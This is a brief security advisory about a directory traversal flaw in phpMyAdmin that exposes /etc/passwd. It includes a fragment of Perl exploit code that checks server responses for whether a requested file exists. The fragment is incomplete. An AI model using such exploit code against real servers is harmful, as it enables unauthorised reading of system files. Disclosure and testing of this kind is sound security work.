phpMyAdmin is "a tool written in PHP intended to handle the administration of MySQL over the web. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fields, execute any SQL statement, manage keys on fields".
A directory traversal vulnerability in phpMyAdmin allows to access /etc/passwd, the following exploit code can be used to test your system for the mentioned vulnerability.
while ($odp = <$get1>)
{
if ($odp =~ /<b>Warning<\/b>: main\(\): Unable to access .\/$ARGV[2] in <b>/ ) {
printf "\n\nFile ".$ARGV[2]." no exists.\r\n\r\n";
exit;
}